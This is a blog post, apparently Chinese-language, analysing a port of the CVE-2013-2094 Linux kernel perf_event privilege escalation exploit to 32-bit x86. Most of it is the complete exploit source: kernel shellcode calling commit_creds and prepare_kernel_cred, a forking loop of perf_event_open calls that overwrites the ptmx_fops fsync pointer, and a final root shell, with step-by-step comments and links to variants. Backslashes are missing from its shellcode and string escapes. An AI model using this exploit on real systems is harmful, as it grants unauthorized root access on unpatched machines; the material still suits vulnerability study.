• CVE-2013-2094 porting to x86-32 分析


    /*
    * linux 2.6.37-3.8.8 - x86
    * @rikiji
    *
    * requires System.map and /dev/ptmx
    * this: http://zmbs.net/~rikiji/perf_ptmx.c
    * original: http://fucksheep.org/~sd/warez/semtex.c
    */
    
    #include <unistd.h>
    #include <sys/types.h>
    #include <sys/stat.h>
    #include <fcntl.h>
    #include <string.h>
    #include <stdlib.h>
    #include <stdio.h>
    #include <sys/mman.h>
    #include <stdint.h>
    #include <linux/perf_event.h>
    #include <asm/unistd.h>
    
    #define SYSMAP_PREFIX "/boot/System.map-"
    #define PAGE_SIZE 4096
    
    unsigned long commit_creds = 0;
    unsigned long prepare_kernel_cred = 0;
    
    #define OFFSET_PREP 3
    #define OFFSET_COMM 10
    char shellcode [] = "x31xc0xbbx04x03x02x01xffxd3xbbx08x07x06x05xffxd3xc3";
    /*
    xor eax,eax	
    mov ebx,0x1020304	
    call ebx	
    mov ebx,0x5060708	;char* src = arg[1]
    call ebx	
    ret	 ; char c = src[i]
    
    */
    unsigned long getsym(char * sym)
    {
    char s[256] = { 0 };
    int fd = open("/proc/version", O_RDONLY);
    read(fd, s, sizeof(s));
    strtok(s, " ");
    strtok(NULL, " ");
    char * version = strtok(NULL, " ");
    close(fd);
    
    int len = strlen(version) + strlen(SYSMAP_PREFIX) + 1;
    char * mapf = malloc(len);
    memset(mapf, 0, len);
    strncpy(mapf, SYSMAP_PREFIX, strlen(SYSMAP_PREFIX));
    strncpy(mapf + strlen(SYSMAP_PREFIX), version, strlen(version));
    
    fd = open(mapf, O_RDONLY);
    
    #define BUFSIZE 1024
    char * buf = malloc(BUFSIZE + 1);
    buf[BUFSIZE] = 0;
    int partial = 0, found = 0;
    char addr[9];
    
    while(!found) {
    read(fd, buf, BUFSIZE); 
    char * tok = strtok(buf," 
    ");
    
    while(tok != NULL) {
    int n = strlen(tok);
    if(partial) {
    if(strncmp(sym + partial, tok, n) == 0) {
    found = 1;
    break;
    } else {
    partial = 0;	
    }
    } else {
    if(strncmp(sym, tok, n) == 0) {
    strncpy(addr, tok - 11, 9);
    if(n < strlen(sym) && (tok + n == buf + BUFSIZE)) {
    partial = n;
    break;	
    }
    if(n == strlen(sym)) {
    found = 1;
    break;
    }
    }
    }
    tok = strtok(NULL," 
    ");
    }
    } 
    close(fd);
    
    printf("%s: 0x%s
    ", sym, addr);
    return strtoul(addr, NULL, 16); 
    }
    
    int main(int argc, char ** argv) 
    {
    unsigned long perf_table = getsym("perf_swevent_enabled");
    commit_creds = getsym("commit_creds");
    prepare_kernel_cred = getsym("prepare_kernel_cred");
    unsigned long pmtx_ops = getsym("ptmx_fops");
    
    *((unsigned int *)(shellcode + OFFSET_PREP)) = prepare_kernel_cred;
    *((unsigned int *)(shellcode + OFFSET_COMM)) = commit_creds;
    
    int s;
    for(s=0;s<sizeof(shellcode);s++)
    printf("%02x ", (unsigned char)shellcode[s]); 
    printf("
    ");
    
    /* 56 is offset of fsync in struct file_operations */
    int target = pmtx_ops + 56; //it's Null value 
    int payload = -((perf_table - target)/4);
    printf("payload: 0x%x
    ", payload);
    
    unsigned long base_addr = 0x10000;
    char * map = mmap((void *)base_addr, PAGE_SIZE, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANONYMOUS | MAP_FIXED | MAP_SHARED, -1, 0);
    
    if(map == MAP_FAILED)
    perror("mmap"); 
    
    memcpy(map, shellcode, 0x30);
    
    struct perf_event_attr event_attr;
    memset(&event_attr, 0, sizeof(struct perf_event_attr));
    event_attr.type = 1;
    event_attr.size = sizeof(struct perf_event_attr); 
    event_attr.config = payload;
    
    int times = base_addr; //為了繞過 sysctl -w vm.mmap_min_addr = 65536 (=0x10000)
    int i = 0, k;
    
    #define BLOCK 256 // 65536 = 256 * 256, shellcode放在0x10000 (=65536), 為了改寫[pmtx_ops + 56]的值成0x10000
    while(times - i > 0) { //65536-0 , 65536-256*1, 65536-256*2,...,65536-256*256 總共做65536次的+1
    printf("i %d
    ", i);
    if(times - i > BLOCK) {
    if(fork()) {	//parent & child both run after fork(), 所以說child process每次都從此開始
    //parent process
    for(k=0;k<BLOCK;k++){
    int fd = syscall(__NR_perf_event_open, &event_attr, 0, -1, -1, 0);
    //跳到[pmtx_ops + 56] + 256,之後去等待,換child process執行,
    //會跳到while又再fork出一個child process做[pmtx_ops + 56] + 256...依此類推。
    if (fd < 0) { perror("perf_event_open child"); }}
    
    pause(); //等child
    exit(0);
    }
    //child process
    i += BLOCK;
    } else { //times - i == BLOCK的情況,即65536-256*255 == 256, 以下為最後一個256次。由while(times - i > 0)停止。
    int fd = syscall(__NR_perf_event_open, &event_attr, 0, -1, -1, 0);
    if (fd < 0) {
    perror("perf_event_open");
    sleep(1);
    }
    i++; //256*255+1
    } 
    }
    
    int ptmx = open("/dev/ptmx", O_RDWR);
    fsync(ptmx);
    
    if(getuid()) {
    printf("failed");
    return -1;
    }
    
    printf("root!!");
    execl("/bin/sh", "sh", NULL);
    
    return 0;
    }
    

      "An idea from /u/spender is to call multiple times perf_event_open while keeping the file descriptors open, avoiding the destroy callback which will revert the change done in the init function. In this way is possible to increment a value in kernel space multiple times. This has the drawback of the process hitting the maximum number of open file descriptors allowed very fast, so some forking is required. I browsed a bit the kernel source to find a function pointer initialized to zero which was not stored in read only memory, and I chose to leverage drivers/tty/pty.c, a driver for ptmx devices, which is enabled in the default Debian kernel and has struct file_operations ptmx_fops, which has some NULL pointers and more importantly is not in read only memory."

    sw_perf_event_destroy (i.e. destroy callback)

     但是,linux系统中单个进程能够打开的file descriptor数量是有限制的,所以需要fork出足够多的进程,反复修改。可用ulimit -n查詢,一般來說是1024

    http://pastebin.com/xdqEbhYR (查找system.map版)

    http://pastebin.com/mMn3QvuR (查找/proc/kallsyms版)

    ref. http://rikiji.it/2013/05/10/CVE-2013-2094-x86.html

  • 相关阅读:
    介绍几个创建GUID的函数
    BOM创建修改(CS01,CS02)保存时增强BADI[BOM_UPDATE]
    REUSE_ALV_GRID_DISPLAY_LVC-双击事件’&IC1′
    REUSE_ALV_GRID_DISPLAY_LVC-行选择功能
    css实现超出部分用...代替
    调用高德地图
    原生验证码 不区分大小写
    原生验证码
    手写验证表单
    获取对象中值的两种方法
  • 原文地址:https://www.cnblogs.com/bittorrent/p/3781135.html
Copyright © 2020-2023  润新知